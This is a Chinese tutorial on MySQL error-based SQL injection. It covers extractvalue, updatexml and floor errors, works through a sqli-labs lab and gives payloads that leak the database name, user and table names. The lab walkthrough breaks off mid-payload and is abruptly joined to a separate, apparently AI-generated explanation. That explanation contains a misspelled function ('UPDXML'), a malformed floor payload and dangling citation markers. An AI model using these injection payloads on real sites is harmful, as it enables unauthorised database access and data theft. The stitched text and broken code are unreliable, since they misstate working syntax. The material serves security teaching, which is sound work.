sql注入之报错注入

目录

前言:

一、什么是报错注入

1、定义

2、分类

二、报错函数(掌握123重点掌握2其余了解即可)

1、extractValue()

2、updatexml()

3、floor()

4、NAME_CONST()

5、 jion()

6、exp()

7、geometryCollection()

8、polygon()

9、multipoint()

10、multlinestring()

11、multpolygon()

12、linestring()

总结:


前言:

掌握好extractvalue、updatexml、floor报错,floor报错较难需要多理解,updatexml较为常用

一、什么是报错注入

1、定义

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。是一种页面响应形式。

响应过程:

用户在前台页面输入检索内容\rightarrow后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行\rightarrow数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面

报错注入存在基础:后台对于输入输出的合理性没有做检查

演示:

输入正常语句情况下页面

输入一条报错注入的语句

?id=1' and updatexml(1,concat(0x7e,version()),3) -- a

输入报错语句情况下页面

报错显示出了数据库的版本

2、分类

通过floor()报错注入

通过extractValue()报错注入

通过updateXml()报错注入

通过NAME_CONST()报错注入

通过jion()报错注入

通过exp()报错注入

通过geometryCollection()报错注入

通过polygon()报错注入

通过multipoint()报错注入

通过multlinestring()报错注入

通过multpolygon()报错注入

通过linestring()报错注入

二、报错函数(掌握123重点掌握2其余了解即可)

1、extractValue()

语法:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法

补充:

XPath路径表达式的基本语法如下:

/          : 从根节点开始,定位到目标节点
//         : 从当前节点开始,递归查找所有符合条件的节点
.          : 表示当前节点
..         : 表示当前节点的父节点
*          : 匹配任意节点
@          : 表示属性节点
[]         : 表示谓词,用于筛选符合条件的节点

以下是一些XPath路径表达式的示例:

/                 : 定位到根节点
/bookstore        : 定位到根节点下的bookstore节点
/bookstore/book   : 定位到bookstore节点下的所有book节点
//book            : 递归查找所有book节点
//book[@category='web'] : 查找所有category属性值为web的book节点

用法:

先创建一张表xml

CREATE TABLE xml (doc VARCHAR(150));

添加以下内容

INSERT INTO x VALUES
('
<book>
<title>A guide to the SQL standard</title>
<author>
<initial>CJ</initial>
<surname>Date</surname>
</author>
</book>
');
INSERT INTO x VALUES
('
<book>
<title>SQL:1999</title>
<author>
<initial>J</initial>
<surname>Melton</surname>
</author>
</book>
');

使用extractvalue()查询xml的作者

SELECT extractvalue(doc,'/book/author/surname') FROM xml;

使用extractvalue()查询xml的书名

SELECT extractvalue(doc,'/book/title') FROM xml;

把查询参数路径写错

SELECT extractvalue(doc,'/book/titleddd') FROM xml;    不报错但查询不到内容

把查询参数格式符号写错

SELECT extractvalue(doc,'~book/title') FROM xml;    提示报错

 利用报错查询当前数据库

SELECT extractvalue(doc,concat(0x7e,(SELECT DATABASE()))) FROM xml;
SELECT extractvalue(doc,concat('~',(SELECT DATABASE()))) FROM xml;

doc的位置是查询列可以随便填因为不是我们需要的目标
报错执行后面的sql语句SELECT DATABASE()
0x7e是~的ASCII码,concat()函数是拼接的作用。使语句变为~(SELECT DATABASE())从而报错
正常用~但是= + * .等都可以
由于concat(str1, str2,...)所以将~转化为ASCII码

实战:

sqli-labs Less-5

1、判断注入类型

2、判断闭合方式

3、查看数据库

?id=-1' and extractvalue(1,conc

### SQL 注入中的报错注入实际操作方法 #### 背景介绍 报错注入(Error-Based SQL Injection)是一种通过触发数据库错误消息来提取数据的技术。这种方法通常用于无法直接从页面获取查询结果的情况下,例如 `INSERT`、`UPDATE` 或 `DELETE` 查询[^1]。 当应用程序未正确过滤输入并允许恶意字符串进入 SQL 查询时,攻击者可以通过构造特定的 SQL 语句引发异常,并利用这些异常信息推断出目标系统的内部结构和数据[^3]。 --- #### 常见工具和技术 以下是几种常用的函数和技术,在报错注入中被广泛使用: 1. **UPDATEXML()** - 函数描述:`UPDATEXML()` 是 MySQL 中的一个内置函数,可以解析 XML 数据树并更新节点值。 - 使用场景:如果传入非法路径或无效参数,它会抛出详细的错误信息,其中可能包含拼接的数据。 - 示例代码: ```sql ' AND (SELECT UPDXML(1, CONCAT(0x7e, (SELECT database())), 1)) # ``` 上述代码试图通过 `CONCAT` 将当前数据库名称附加到错误消息中[^4]。 2. **ExtractValue()** - 函数描述:类似于 `UPDATEXML()`,`ExtractValue()` 可以用来解析 XML 文档的内容。 - 错误触发机制:提供不合法的 XPath 表达式即可让其崩溃,并暴露部分数据。 - 示例代码: ```sql ' AND ExtractValue(1, CONCAT(0x7e, (SELECT user()))) # ``` 3. **FLOOR()** - 函数描述:`FLOOR()` 返回不大于给定数值的最大整数。 - 利用方式:结合随机化或其他复杂逻辑制造重复键冲突,从而导致错误输出。 - 示例代码: ```sql ' ORDER BY FLOOR(RAND(0)*2) GROUP BY id # ``` --- #### 实战案例分析 假设存在一个简单的登录验证接口 `/login?username=admin&password=pass`,并且后台执行如下查询: ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password'; ``` 此时,如果我们提交以下请求: ```http /login?username=k' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1)), 1)-- &password=any ``` 服务器可能会返回类似这样的错误响应: > XPATH syntax error: '~tablename' 这表明我们成功地从 `information_schema.tables` 获取到了第一个表的名字。 继续深入挖掘列名或者具体记录的过程也遵循相同原理——逐步嵌套子查询直到达到目的为止。 --- #### 防护措施建议 为了防止此类攻击发生,请务必采取以下预防手段之一或多条组合策略: - 对所有外部可控变量实施严格的白名单校验; - 启用预编译语句代替动态组装SQL串; - 关闭不必要的调试模式以及隐藏敏感堆栈跟踪详情; ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值